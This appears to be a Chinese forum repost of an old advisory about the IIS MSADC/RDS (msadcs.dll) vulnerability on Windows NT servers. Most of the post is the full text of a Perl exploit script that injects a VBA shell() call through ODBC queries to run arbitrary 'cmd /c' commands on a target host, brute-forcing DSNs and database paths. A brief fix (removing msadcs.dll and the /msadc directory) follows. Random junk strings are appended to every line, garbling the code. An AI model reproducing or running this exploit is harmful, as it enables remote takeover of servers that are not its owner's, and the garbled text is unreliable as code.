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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) cFuQ>xR1  
Ea0EG>Y  
涉及程序: ;<xPzf  
Microsoft NT server 7_rDNK@e  
7_lgo6  
描述: .SOCWznb  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 AgUjC  
=GeGlI6  
详细: w=0zVh_`(  
如果你没有时间读详细内容的话,就删除: niYD[Ra\xP  
c:\Program Files\Common Files\System\Msadc\msadcs.dll $v"CQD  
有关的安全问题就没有了。 wi[FBLB/8  
<dz_7hR"  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 tq=M 9c  
WE-+WC!!:  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 w7vQ6jkH  
关于利用ODBC远程漏洞的描述,请参看: [=u@6Y  
0}T 56aD=!  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm j W[EjhsH  
&?}h)U#:  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 wOrj-Smx  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp %?8.UW\m  
fWDTP|DV  
这里不再论述。 gT,iH.  
r]wy-GT  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: y S<&d#:"  
q 1u_r  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 2|`Mb~E;  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! /1=x8Sb  
n^l5M^.  
rm|,+ {  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 6Yqqq[#V/  
m93{K7O2e  
#!perl )5o6*(Y  
# $:onKxVM  
# MSADC/RDS 'usage' (aka exploit) script XSx'@ qH  
# %0 U@k!lP  
# by rain.forest.puppy 3jto$_3'w  
# $%ww$3  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me %Rk0sfLvn  
# beta test and find errors! FEBRUk6.h  
tlI]);iE,  
use Socket; use Getopt::Std; k9VWyq__  
getopts("e:vd:h:XR", \%args); ]J/;Xp  
P;|63" U  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; V=Bmpg  
i=fhK~Jd  
if (!defined $args{h} && !defined $args{R}) { :z|$K^)7Z  
print qq~ <N=ow"rD  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Z hCjY  
-h <host> = host you want to scan (ip or domain) KQ(S\  
-d <seconds> = delay between calls, default 1 second '}F9f?  
-X = dump Index Server path table, if available m]{/5L  
-v = verbose ^lK!tOeO  
-e = external dictionary file for step 5 yC!>7@m  
D?H|O[  
Or a -R will resume a command session x'%vL",%  
 8*uaI7;*  
~; exit;} !&v"+ K3lU  
9R&.$5[W(s  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; B\;fC's+  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ax 2#XSCO  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ?~]mOv>  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);  FE1En  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 8|\xU9VT  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Y$qjQ1jF+  
!8RJHMX&  
if (!defined $args{R}){ $ret = &has_msadc; =~dsIG  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ER4#5gd  
7EL0!:Pp3  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" X'2%'z<  
. "cmd /c "; *2YWvGc  
$in=<STDIN>; chomp $in; 0zA:?}  
$command="cmd /c " . $in ; )>;387'Y  
CKU)wJ5t  
if (defined $args{R}) {&load; exit;} S@4bpnhK  
|(Xxi  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; HEK?z|Ne  
&try_btcustmr; Y`xAJ#= ,i  
i}))6   
print "\nStep 2: Trying to make our own DSN..."; _e|-O>#pl  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; B5;94YIN  
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print "\nStep 3: Trying known DSNs...";  BfW@f  
&known_dsn; ksYPF&l  
A=*6|1w;  
print "\nStep 4: Trying known .mdbs..."; P1`YbLER5  
&known_mdb; QX. U:p5C  
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if (defined $args{e}){ KXu1%`x=%Z  
print "\nStep 5: Trying dictionary of DSN names..."; ,%y!F3m  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } iX>)6)uJ  
|%(qaPA1  
print "Sorry Charley...maybe next time?\n"; =Q!V6+}nY^  
exit; Jp~[Dm  
j?! /#'  
############################################################################## dmMrZ1u2  
G/KTF2wl7  
sub sendraw { # ripped and modded from whisker ~BXy)IB6  
sleep($delay); # it's a DoS on the server! At least on mine... 2nSz0 .  
my ($pstr)=@_; @,pn/[  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || H\|H]:CE  
die("Socket problems\n"); fs#9*<]m  
if(connect(S,pack "SnA4x8",2,80,$target)){ U8zs=tA  
select(S); $|=1; }</"~Kw!  
print $pstr; my @in=<S>; !zfV (&  
select(STDOUT); close(S); j<L!(6B  
return @in; JS&;7Z$KX  
} else { die("Can't connect...\n"); }} 1_G+sDw$  
VB4ir\nF  
############################################################################## t & 5s.  
\6/!{D,  
sub make_header { # make the HTTP request 4HGR-S/  
my $msadc=<<EOT ,Fu[o6x<^  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1  w4UJXc  
User-Agent: ACTIVEDATA !nF.whq  
Host: $ip j7VaaA  
Content-Length: $clen (T.g""N~`  
Connection: Keep-Alive D:N\K/p  
pEb/yIT"  
ADCClientVersion:01.06 36 ]?4, .  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 z_Pq5  
S&'-wA Ed  
--!ADM!ROX!YOUR!WORLD! LO)QEUG  
Content-Type: application/x-varg \Oe8h#%  
Content-Length: $reqlen o~VZ%B  
4}<[4]f?|  
EOT p.vxrk`c  
; $msadc=~s/\n/\r\n/g; Q+E)_5_sA  
return $msadc;} F[0w*i&u5  
z+nq<%"'  
############################################################################## 7+P-MT  
DM{Z#b]  
sub make_req { # make the RDS request t y%Hrw  
my ($switch, $p1, $p2)=@_; 7t6TB*H  
my $req=""; my $t1, $t2, $query, $dsn; H*&!$s.  
}wGy#!CSza  
if ($switch==1){ # this is the btcustmr.mdb query ESkhCDU  
$query="Select * from Customers where City=" . make_shell(); [iN\R+:  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . kg$w<C@#"  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} J vtbGPz  
0}$R4<"{Y>  
elsif ($switch==2){ # this is general make table query v+d? #^  
$query="create table AZZ (B int, C varchar(10))"; MAgoxq~;V  
$dsn="$p1";} -qB{TA-.\  
K- TLzoYA  
elsif ($switch==3){ # this is general exploit table query 3MHByT %  
$query="select * from AZZ where C=" . make_shell(); R=L-Ulhk  
$dsn="$p1";} ER<Z!*2  
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elsif ($switch==4){ # attempt to hork file info from index server qB3=wFI  
$query="select path from scope()"; d-#yN:}0  
$dsn="Provider=MSIDXS;";} &t74T"(d  
q&: t$tSS  
elsif ($switch==5){ # bad query AH# Dk5#G  
$query="select"; (KphAA8  
$dsn="$p1";} Odbm"Y  
dca?(B!'6  
$t1= make_unicode($query); D(">bR)1  
$t2= make_unicode($dsn); Jrx]/CM  
$req = "\x02\x00\x03\x00"; j.29nJ  
$req.= "\x08\x00" . pack ("S1", length($t1)); gCW {$d1=  
$req.= "\x00\x00" . $t1 ; ujbJ&p   
$req.= "\x08\x00" . pack ("S1", length($t2)); xGK"`\V  
$req.= "\x00\x00" . $t2 ; >]?!9@#IH  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ~4ysg[`  
return $req;} lJU]sZ9~b  
]hY4 MS  
############################################################################## WNiM&iU  
bbFzmS1  
sub make_shell { # this makes the shell() statement j`k :)  
return "'|shell(\"$command\")|'";} 3}i(i0+  
|`@7G`x  
############################################################################## lD?]D&  
]bAw>1,NVD  
sub make_unicode { # quick little function to convert to unicode v`~egE17  
my ($in)=@_; my $out; HJOoCf  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 3xpygx9  
return $out;} X"v)9 p  
Vpf7~2[q%  
############################################################################## mUwGr_)wj  
X%Ta?(9|.^  
sub rdo_success { # checks for RDO return success (this is kludge) w;V+)r?w  
my (@in) = @_; my $base=content_start(@in); Qy| 6A@  
if($in[$base]=~/multipart\/mixed/){ &=v5M9GR]  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} SHe547X1  
return 0;} 4 _Idf  
6Zq7O\  
############################################################################## | <- t  
biAa&   
sub make_dsn { # this makes a DSN for us {tF)%>\#  
my @drives=("c","d","e","f"); e&F=w`F\  
print "\nMaking DSN: "; vA0f4W 8+  
foreach $drive (@drives) { RVa{%   
print "$drive: "; EdS7m,d  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . + :k"{I   
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" -|/*S]6kK  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 0J 1&6b  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; MF4B 2d  
return 0 if $2 eq "404"; # not found/doesn't exist r$;u4FR  
if($2 eq "200") { M K, $#  
foreach $line (@results) { DV jsz  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} _SQ0`=+  
} return 0;} }wV/)Oy[  
wy# 5p]!u  
############################################################################## g42Z*+P6N  
p|'Rm ]&jb  
sub verify_exists { pL{:8Ed  
my ($page)=@_; '=>l& ;  
my @results=sendraw("GET $page HTTP/1.0\n\n"); k\lU Q\/O5  
return $results[0];} JS0957K  
.Wvg{ S -  
############################################################################## !v]~ut !p  
f5hf<R),A  
sub try_btcustmr { *^.OqbO[U  
my @drives=("c","d","e","f"); fZrB!\Q  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [knwp$  
U#F(%b-LC  
foreach $dir (@dirs) { e><,WM,e  
print "$dir -> "; # fun status so you can see progress -n`2>L1  
foreach $drive (@drives) { ,:?=j80m  
print "$drive: "; # ditto jI,?*n<  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; =1% <  
$reqlenlen=length( "$reqlen" ); r*W&SU9Z  
$clen= 206 + $reqlenlen + $reqlen; &W-1W99auE  
S *K0OUq  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); qiyJ4^1  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Pxe7 \e  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} LkUi^1((e  
yI_MY L[  
############################################################################## aDjYT/`l  
@7OE:& #V  
sub odbc_error { 3Vb/Mn!k  
my (@in)=@_; my $base; $C9['GGR  
my $base = content_start(@in); D 13bQ&\B-  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 5:X^Q.f;  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; NUGiDJ+[  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &3bhK5P  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; IyGW>g6_.  
return $in[$base+4].$in[$base+5].$in[$base+6];} khfWU  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; oD~q/04!  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $1;@@LSw  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} t{Gc,S!]5  
\xexl1_;  
############################################################################## _f<#+*y  
mA0|W#NB  
sub verbose { -3&mgd  
my ($in)=@_; </)QCl'd  
return if !$verbose; wVtBH_>  
print STDOUT "\n$in\n";} lyQNE3   
u eV,p?Wo  
############################################################################## 3\&I7o3V  
cg'z:_l  
sub save { 7 ?"-NrW~  
my ($p1, $p2, $p3, $p4)=@_; F)hUT@  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 2U`g[1  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; `NARJ9M   
close OUT;} =1Tn~)^O  
wb/@g=` d  
##############################################################################  eAbp5}B  
m15> ^i^W  
sub load { wGAeOD  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; m$bDWxm#e  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); q OX=M  
@p=<IN>; close(IN); s. jcD  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Ai.^~#%X  
$target= inet_aton($ip) || die("inet_aton problems"); Bz*6M  
print "Resuming to $ip ..."; T{mIk p<  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Cw]bhaG g  
if($p[1]==1) { rZ^VKO`~I1  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ,U#FtOec  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; spv'r!*\ed  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); "BD$-]  
if (rdo_success(@results)){print "Success!\n";} lehuJgz'OO  
else { print "failed\n"; verbose(odbc_error(@results));}} $BWA= 2$  
elsif ($p[1]==3){ 5!}fd/}Uk  
if(run_query("$p[3]")){ ,S\AUUt%  
print "Success!\n";} else { print "failed\n"; }} PBp+(o-  
elsif ($p[1]==4){ _cD-E.E%  
if(run_query($drvst . "$p[3]")){ ^U0)iz  
print "Success!\n"; } else { print "failed\n"; }} :ej`]yK |  
exit;} EGJrnz8  
m00 5*>IY  
############################################################################## /faP@Q3kR  
<+)B8I^  
sub create_table { J#*R]LU|  
my ($in)=@_; >J_%'%%f  
$reqlen=length( make_req(2,$in,"") ) - 28; ~ U`|+ 5  
$reqlenlen=length( "$reqlen" ); 'v'=t<wgl  
$clen= 206 + $reqlenlen + $reqlen; ,NoWAmv  
my @results=sendraw(make_header() . make_req(2,$in,"")); <;':'sW  
return 1 if rdo_success(@results); NM&R\GI  
my $temp= odbc_error(@results); verbose($temp); LCkaSv/[RB  
return 1 if $temp=~/Table 'AZZ' already exists/; \s">trXwX  
return 0;} sD ,FJ:dy  
Wc!.{2  
############################################################################## rEG!A87Zz  
eCXw8  
sub known_dsn { :}p<Hq 8Z  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go dn|OY. `|  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ?D S|vCae  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 2kVQ#JyuRI  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 6HR^q  
1i:Q %E F  
foreach $dSn (@dsns) { dEG1[QG  
print "."; TC^fyxq  
next if (!is_access("DSN=$dSn")); T +~ _D  
if(create_table("DSN=$dSn")){ A N 'L- E  
print "$dSn successful\n"; L(w?.)E  
if(run_query("DSN=$dSn")){ =>,X)+O  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  NncII5z  
print "Something's borked. Use verbose next time\n";}}} print "\n";} &)#bdt[  
7/GL@H  
############################################################################## vK,.P:n  
O t1:z:Pl  
sub is_access { zTS#o#`!\  
my ($in)=@_; 1OW#_4w/  
$reqlen=length( make_req(5,$in,"") ) - 28; Q<d|OX  
$reqlenlen=length( "$reqlen" ); -Gmg&yQ9  
$clen= 206 + $reqlenlen + $reqlen; n>i}O!agg  
my @results=sendraw(make_header() . make_req(5,$in,"")); e.? ;mD  
my $temp= odbc_error(@results); &1$|KbmV4  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); /E<:=DD<  
return 0;} _"c:Z!L  
?N(opggiD  
############################################################################## L|A.;Gq  
<A@qN95m  
sub run_query { .YxcXe3#  
my ($in)=@_;  a5@XD_b  
$reqlen=length( make_req(3,$in,"") ) - 28; ;iT ZzmB  
$reqlenlen=length( "$reqlen" ); );oE^3]f  
$clen= 206 + $reqlenlen + $reqlen; +N:=|u.g  
my @results=sendraw(make_header() . make_req(3,$in,"")); eL{6;.C  
return 1 if rdo_success(@results); LQ3J$N  
my $temp= odbc_error(@results); verbose($temp); ^mu PjM+D  
return 0;} ^P}c0}^  
NG?-dkD  
############################################################################## bbxo!K m"  
)ME'qA3K  
sub known_mdb { 2!;U.+(  
my @drives=("c","d","e","f","g"); "E}38  
my @dirs=("winnt","winnt35","winnt351","win","windows"); C}8 3t~Q  
my $dir, $drive, $mdb; Yi+$g  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; z`KP }-  
&n-)Alx  
# this is sparse, because I don't know of many e<1)KqG  
my @sysmdbs=( "\\catroot\\icatalog.mdb", +je{%,*  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 35 PIfq m  
"\\system32\\certmdb.mdb", J{h?=vK  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% CwQRHi  
_8'z"w F  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", _W^{,*p  
"\\cfusion\\cfapps\\forums\\forums_.mdb", g]Fm%iy  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 8KyF0r?  
"\\cfusion\\cfapps\\security\\realm_.mdb", d<+@cf_9  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", {&d )O  
"\\cfusion\\database\\cfexamples.mdb", `;\~$^sj}  
"\\cfusion\\database\\cfsnippets.mdb", ]0@ 06G(y  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", lz88//@gZ  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", b?deZ2"L#  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 4NxI:d$&*  
"\\cfusion\\database\\smpolicy.mdb", ePxwN?  
"\\cfusion\\database\cypress.mdb", .}x:yKyi@  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", P2>Y0"bY  
"\\website\\cgi-win\\dbsample.mdb", 6qH^&O][  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", kb2M3%6 V  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" P[<EFj E  
); #these are just &&K"3"um  
foreach $drive (@drives) { SvN2}]Kh  
foreach $dir (@dirs){ gq[`g=x  
foreach $mdb (@sysmdbs) { _yP02a^2  
print "."; 0o &B 7N  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ \>nY%*  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; yi@mf$A|  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Kb,#Ot  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; G0&'B6I>  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Zq\Vq:MX  
&=`6- J  
foreach $drive (@drives) { i $W E1-  
foreach $mdb (@mdbs) { KmE<+/x~?  
print "."; sm96Ye{O{  
if(create_table($drv . $drive . $dir . $mdb)){ jhkNi`E7  
print "\n" . $drive . $dir . $mdb . " successful\n"; j O6yZt  
if(run_query($drv . $drive . $dir . $mdb)){ \\i$zRi  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; /o]j  
} else { print "Something's borked. Use verbose next time\n"; }}}} Jl|^  
} 2E_*'RT  
fgEMn;  
############################################################################## ;/|3U7{c  
>C"QV `+  
sub hork_idx { /{HK0fd  
print "\nAttempting to dump Index Server tables...\n"; > J>|+W  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; F|{F'UXj|  
$reqlen=length( make_req(4,"","") ) - 28; 1H]E:Bq  
$reqlenlen=length( "$reqlen" ); 4 N{5i )  
$clen= 206 + $reqlenlen + $reqlen; ]n$&|@  
my @results=sendraw2(make_header() . make_req(4,"","")); 9_I#{ ?  
if (rdo_success(@results)){ QLum=YB  
my $max=@results; my $c; my %d; n9x&Ws;  
for($c=19; $c<$max; $c++){ PHHX)xK  
$results[$c]=~s/\x00//g; r,-9 ]?i  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; gt{$G|bi  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 'W]oQLD^R  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; N_qKIc_R  
$d{"$1$2"}="";} @!:_r5R~N  
foreach $c (keys %d){ print "$c\n"; } StWF66u34&  
} else {print "Index server doesn't seem to be installed.\n"; }} 7<p? E7  
%2t#>}If!  
############################################################################## 9a;8^?Ld%S  
oq3{q  
sub dsn_dict { Ad]oM]  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); k}r)I.Lp  
while(<IN>){ 9HJA:k*k|  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 8w]>SEGFs  
next if (!is_access("DSN=$dSn")); R4P$zB_<2  
if(create_table("DSN=$dSn")){ _rjLCvv-  
print "$dSn successful\n"; r]'Q5l4j6"  
if(run_query("DSN=$dSn")){ /aHx'TG  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { h&$,mbEoI  
print "Something's borked. Use verbose next time\n";}}} 1l`$.k  
print "\n"; close(IN);} q26%Z)'nf  
xFy%&SKHg  
############################################################################## 08JVX'X-mr  
.vJ t&@NO  
sub sendraw2 { # ripped and modded from whisker cA]Ch>]A%  
sleep($delay); # it's a DoS on the server! At least on mine... >( :b\*C  
my ($pstr)=@_; qc6eqE  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || EU@XLm6  
die("Socket problems\n"); 2W]y9)<c  
if(connect(S,pack "SnA4x8",2,80,$target)){ qtLXdSc  
print "Connected. Getting data"; jYi{[* *  
open(OUT,">raw.out"); my @in; iJD_ qhd7  
select(S); $|=1; print $pstr; 6*r3T:u3  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 2lm{:tS  
close(OUT); select(STDOUT); close(S); return @in; 0nOp'Ky\k  
} else { die("Can't connect...\n"); }} m"RE[dQ  
r GxX]  
############################################################################## RS`~i8e'  
BL Q&VI4  
sub content_start { # this will take in the server headers mbm|~UwD  
my (@in)=@_; my $c;  ;%tu;  
for ($c=1;$c<500;$c++) { :\+\/HTbh  
if($in[$c] =~/^\x0d\x0a/){ ezR!ngt  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } NDaM;`  
else { return $c+1; }}} \r+8}8  
return -1;} # it should never get here actually G oJ\6& "  
bu|ecv  
############################################################################## sBfPhBT|  
en6oFPG   
sub funky {  L4,Ke  
my (@in)=@_; my $error=odbc_error(@in); /n|`a1!  
if($error=~/ADO could not find the specified provider/){ ' y9yx[P  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Md4JaFA(  
exit;} '5n67Hl 1  
if($error=~/A Handler is required/){ (xhwl=MX)  
print "\nServer has custom handler filters (they most likely are patched)\n"; :5M7*s)e16  
exit;} dfoFs&CSKh  
if($error=~/specified Handler has denied Access/){ `!$I6KxT  
print "\nServer has custom handler filters (they most likely are patched)\n"; (`&`vf  
exit;}} xjDV1Xf*  
x3>PM]r(V  
############################################################################## /2\%X`]<  
g~AO KHUP  
sub has_msadc { 8x J]K  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); +5BhC9=b  
my $base=content_start(@results); 0{GpO6!  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); C*I~14  
return 0;} 3h|:ew[  
bkgJz+u  
######################## L--(Y+vmf  
\%!~pfM I  
\dz@hJl:  
解决方案: eHjn<@  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ~yvOR`2Gg  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 NZyGC Vh@  
oVLgHB\zL  
拿出来充数 哈哈
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